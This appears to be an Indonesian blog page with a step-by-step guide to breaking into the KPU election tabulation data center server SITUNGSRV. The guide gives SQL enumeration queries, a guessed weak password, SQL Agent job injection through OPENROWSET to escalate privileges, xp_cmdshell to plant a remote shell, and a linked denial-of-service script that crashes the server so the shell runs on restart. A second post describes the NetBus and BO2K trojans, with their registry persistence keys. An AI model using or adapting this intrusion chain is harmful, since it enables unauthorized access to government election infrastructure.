Belajar Komputer

Server data center TNP KPU yang bernama SITUNGSRV dilindungi dengan sangat ketat oleh firewall, diawasi oleh catatan log, dan dimonitor oleh detektor penyusup (IDS). Lantas bagaimana cara menyusupnya?

Di sini saya akan mengemukakan salah satu cara untuk menyusup ke data center TNP KPU.
Sebelumnya saya akan sedikit menjelaskan mengenai web server, SQL server, dan data center TNP KPU. Pada saat kita membuka situs web http://tnp.kpu.go.id/Tabulasi/ maka kita akan terkoneksi ke server bernama KPUDCRPT02 yang menjadi IIS web servernya. Kemudian KPUDCRPT02 mengambil data dari KPUDCSQL02 yang menjadi SQL servernya. Database di KPUDCSQL02 ini diupdate secara rutin dari data center SITUNGSRV.
Dengan menggunakan perintah SQL (pada tools yang telah diberikan sebelumnya) kita sudah dapat mengakses database di SITUNGSRV. Misalnya:

Untuk melihat list table:
SELECT [name] FROM situngsrv.situng.dbo.sysobjects WHERE [type]='U' or [type]='S'

Untuk melihat list user:
SELECT [name], [hasdbaccess], [islogin], [isntname], [isntgroup], [isntuser], [issqluser], issqlrole FROM situngsrv.situng.dbo.sysusers

Namun cara ini sangat terbatas, karena kita masuk dengan menggunakan login guest. Kita perlu login lain yang lebih powerfull. Di sini kita dapat memanfaatkan kelemahan password reportmaker01 yang dengan mudah bisa kita tebak. Misalnya kita telah menemukan password reportmaker01 sebagai reportmaker. Kita dapat mencobanya memasukkan perintah berikut:

SELECT uid FROM OPENROWSET('SQLOLEDB','SITUNGSRV';'reportmaker01';'reportmaker','SELECT user_name() as uid')

Sekarang kita perlu menaikkan privilege-nya menjadi admin dengan memberikan SQL Injection yang memanfaatkan SQL Agent sebagai eksekutornya. Penggunaannya adalah sebagai berikut:

SELECT uid FROM OPENROWSET('SQLOLEDB','SITUNGSRV';'reportmaker01';'reportmaker','SELECT user_name() as uid'; Sisipan SQL Injection)

Sisipan SQL Injection yang kita berikan dapat berupa:
USE msdb; EXEC sp_add_job @job_name='HealthCU',@enabled=1,@description='Weekly maintenance',@delete_level=1)
USE msdb; EXEC sp_add_jobstep @job_name='HealthCU',@step_name='Tahap01',@subsystem='TSQL',@command='exec master..xp_execresultset N''select ''''EXEC sp_addrolemember ''''''''db_accessadmin'''''''',''''''''reportmaker01'''''''''''''',N''situng''';)
USE msdb; EXEC sp_add_jobserver @job_name='HealthCU',@server_name='SITUNGSRV')
USE msdb; EXEC sp_start_job @job_name='HealthCU')

Maka login reportmaker01 sudah memiliki privilege db_accessadmin. Cara yang sama dapat juga digunakan untuk menaikkan priviledge menjadi sysadmin sehingga kita dapat mengeksekusi xp_cmdshell.

Dengan xp_cmdshell kita bisa membuat sebuah file executable sebagai remote-shell yang dapat membuat SITUNGSRV berkomunikasi dengan KPUDCSQL02. Bagaimana cara berkomunikasinya? Bukankah semua port sudah ditutup oleh firewall?
Port 1143 tidak diblok. Namun port ini sudah digunakan oleh SQL Server dan kita tidak dapat menggunakannya lagi. Kita perlu membuat SQL server di SITUNGSRV untuk mati sejenak sehingga kita bisa menggunakan portnya. Caranya adalah dengan mengeset automatically start menjadi manually start, dan membuat SQL servernya crash.
Cara untuk membuat SQL server menjadi manually start dan crash silakan lihat script pada http://tnpkpu.europe.webmatrixhosting.net/tnpdos.htm

Pada saat server ini crash, maka operator akan menelpon administrator. Kemudian administrator akan menginstruksikan operator untuk me-restart server. Namun SQL server tidak akan otomatis jalan, tetapi remote-shell kita yang akan tereksekusi. Selama menunggu administrator datang ke lokasi untuk men-start SQL server, kita dapat menikmati akses remote-shell pada SITUNGSRV, data center TNP KPU.

Saat ini seluruh server yang terkoneksi ke jaringan sudah dimatikan termasuk SITUNGSRV, KPUDCSQLxx, KPUDCRPTxx dan digantikan oleh server bernama TNP. Dimohon untuk tidak mengklik button Kirim DoS pada http://tnpkpu.europe.webmatrixhosting.net/tnpdos.htm karena akan membuat SQL server di server TNP crash dan manually start sehingga artikel yang sebelumnya menjadi tidak dapat dicobakan.
Selengkapnya...

Trojan horse adalah teknik salah satu teknik pengontrolan atau pengambil alihan komputer lain dengan cara menaruh program tertentu kedalam komputer target. Program trojan horse sendiri biasanya terdiri atas 2 bagian, yaitu program client dan program server, dimana program server ditaruh kedalam komputer yang hendak di kontrol sedangkan program client dijalankan oleh sang hacker untuk melakukan pengontrolan

Jasakom - Trojan horse adalah teknik salah satu teknik pengontrolan atau pengambil alihan komputer lain dengan cara menaruh program tertentu kedalam komputer target. Program trojan horse sendiri biasanya terdiri atas 2 bagian, yaitu program client dan program server, dimana program server ditaruh kedalam komputer yang hendak di kontrol sedangkan program client dijalankan oleh sang hacker untuk melakukan pengontrolan.
(*)Netbus 1.7
NetBus 1.7 yang dibuat oleh pada tahun 1998 © Carl-Fredrik Neikter merupakan trojan horse yang sangat awal dibuat waktu trojan horse menggemparkan dunia. Sampai saat ini, trojan horse yg bisa dijalankan di 95,98 dan NT ini merupakan trojan horse terbaik menurut versi redaksi karena sangat stabil. Pada registry di komputer yang terinfeksi akan ditambahkan pada : HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run untuk menjalankan program ini setiap kali komputer di restart.

{*} BackOrifice 2000
BackOrifice 2000 atau yang lebih dikenal sebagai BO2K yang dibuat oleh Cult of the Dead Cow Presents Copyright © 1999 cDc Communications banyak menggemparkan dunia trojan di dunia. Program ini menawarkan banyak fungsi-fungsi kritis yang dapat di jalankan di NT, 98, 95. Sayangnya, dari hasil survey redaksi, program ini yang di klaim bisa dijalankan di NT ini, sering menimbulkan masalah dan kurang stabil. Program ini pada Win95 dan 98 akan mengcopykan dirinya pada direktory c:\windows\system\umgr32.exe atau pada \WINNT\SYSTEM32 di NT dan pada registry : HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices akan ditambahkan item untuk menjalankan umgr32.exe. Dengan registry anda bisa mencari dan menghapus key ini, otomatis komputer anda akan terbebas dari BO2K jika secara tidak sengaja anda terinfeksi.









Selengkapnya...

• Pertemuan 1 Download


• Pertemuan 2 Download


• Pertemuan 3 Download


• Pertemuan 4 Download


• Pertemuan 5 Download


• Pertemuan 6 Download


• Pertemuan 7 Download